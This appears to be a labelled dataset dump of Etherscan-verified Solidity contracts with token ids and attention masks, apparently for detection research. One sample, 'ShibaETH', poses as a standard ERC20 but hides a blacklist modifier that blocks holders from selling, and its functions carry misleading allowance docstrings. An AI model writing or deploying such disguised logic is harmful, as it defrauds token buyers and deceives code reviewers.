1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-05
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Test {
mapping(address => bool) public whitelist;
address public owner;
constructor () {
owner = msg.sender;
}
function addToWhitelist(address _address) external {
require(msg.sender == owner, "Auth Error!");
whitelist[_address] = true;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6021,
1011,
5709,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
3206,
3231,
1063,
12375,
1006,
4769,
1027,
1028,
22017,
2140,
1007,
2270,
2317,
9863,
1025,
4769,
2270,
3954,
1025,
9570,
2953,
1006,
1007,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
5587,
18790,
16584,
29282,
2102,
1006,
4769,
1035,
4769,
1007,
6327,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1010,
1000,
8740,
2705,
7561,
999,
1000,
1007,
1025,
2317,
9863,
1031,
1035,
4769,
1033,
1027,
2995,
1025,
1065,
1065,
102,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
/**
*Submitted for verification at Etherscan.io on 2021-07-31
*/
pragma solidity ^0.6.6;
/*
.-') ('-. .-. .-. .-') ('-. ('-. .-') _ ('-. .-.
( OO ). ( OO ) / \ ( OO ) ( OO ).-. _( OO) ( OO) ) ( OO ) /
(_)---\_),--. ,--. ,-.-') ;-----.\ / . --. /(,------./ '._ ,--. ,--.
/ _ | | | | | | |OO)| .-. | | \-. \ | .---'|'--...__)| | | |
\ :` `. | .| | | | \| '-' /_).-'-' | | | | '--. .--'| .| |
'..`''.)| | | |(_/| .-. `. \| |_.' |(| '--. | | | |
.-._) \| .-. | ,| |_.'| | \ | | .-. | | .--' | | | .-. |
\ /| | | |(_| | | '--' / | | | | | `---. | | | | | |
`-----' `--' `--' `--' `------' `--' `--' `------' `--' `--' `--'
*/
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ShibaETH is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5718,
1011,
2861,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1020,
1025,
1013,
1008,
1012,
1011,
1005,
1007,
1006,
1005,
1011,
1012,
1012,
1011,
1012,
1012,
1011,
1012,
1012,
1011,
1005,
1007,
1006,
1005,
1011,
1012,
1006,
1005,
1011,
1012,
1012,
1011,
1005,
1007,
1035,
1006,
1005,
1011,
1012,
1012,
1011,
1012,
1006,
1051,
2080,
1007,
1012,
1006,
1051,
2080,
1007,
1013,
1032,
1006,
1051,
2080,
1007,
1006,
1051,
2080,
1007,
1012,
1011,
1012,
1035,
1006,
1051,
2080,
1007,
1006,
1051,
2080,
1007,
1007,
1006,
1051,
2080,
1007,
1013,
1006,
1035,
1007,
1011,
1011,
1011,
1032,
1035,
1007,
1010,
1011,
1011,
1012,
1010,
1011,
1011,
1012,
1010,
1011,
1012,
1011,
1005,
1007,
1025,
1011,
1011,
1011,
1011,
1011,
1012,
1032,
1013,
1012,
1011,
1011,
1012,
1013,
1006,
1010,
1011,
1011,
1011,
1011,
1011,
1011,
1012,
1013,
1005,
1012,
1035,
1010,
1011,
1011,
1012,
1010,
1011,
1011,
1012,
1013,
1035,
1064,
1064,
1064,
1064,
1064,
1064,
1064,
1051,
2080,
1007,
1064,
1012,
1011,
1012,
1064,
1064,
1032,
1011,
1012,
1032,
1064,
1012,
1011,
1011,
1011,
1005,
1064,
1005,
1011,
1011,
1012,
1012,
1012,
1035,
1035,
1007,
1064,
1064,
1064,
1064,
1032,
1024,
1036,
1036,
1012,
1064,
1012,
1064,
1064,
1064,
1064,
1032,
1064,
1005,
1011,
1005,
1013,
1035,
1007,
1012,
1011,
1005,
1011,
1005,
1064,
1064,
1064,
1064,
1005,
1011,
1011,
1012,
1012,
1011,
1011,
1005,
1064,
1012,
1064,
1064,
1005,
1012,
1012,
1036,
1005,
1005,
1012,
1007,
1064,
1064,
1064,
1064,
1006,
1035,
1013,
1064,
1012,
1011,
1012,
1036,
1012,
1032,
1064,
1064,
1035,
1012,
1005,
1064,
1006,
1064,
1005,
1011,
1011,
1012,
1064,
1064,
1064,
1064,
1012,
1011,
1012,
1035,
1007,
1032,
1064,
1012,
1011,
1012,
1064,
1010,
1064,
1064,
1035,
1012,
1005,
1064,
1064,
1032,
1064,
1064,
1012,
1011,
1012,
1064,
1064,
1012,
1011,
1011,
1005,
1064,
1064,
1064,
1012,
1011,
1012,
1064,
1032,
1013,
1064,
1064,
1064,
1064,
1006,
1035,
1064,
1064,
1064,
1005,
1011,
1011,
1005,
1013,
1064,
1064,
1064,
1064,
1064,
1036,
1011,
1011,
1011,
1012,
1064,
1064,
1064,
1064,
1064,
1064,
1036,
1011,
1011,
1011,
1011,
1011,
1005,
1036,
1011,
1011,
1005,
1036,
1011,
1011,
1005,
1036,
1011,
1011,
1005,
1036,
1011,
1011,
1011,
1011,
1011,
1011,
1005,
1036,
1011,
1011,
1005,
1036,
1011,
1011,
1005,
1036,
1011,
1011,
1011,
1011,
1011,
1011,
1005,
1036,
1011,
1011,
1005,
1036,
1011,
1011,
1005,
1036,
1011,
1011,
1005,
1008,
1013,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
2011,
7065,
8743,
2075,
1996,
12598,
2043,
2019,
1008,
3169,
2058,
12314,
2015,
1012,
1008,
1008,
2478,
2023,
3075,
2612,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
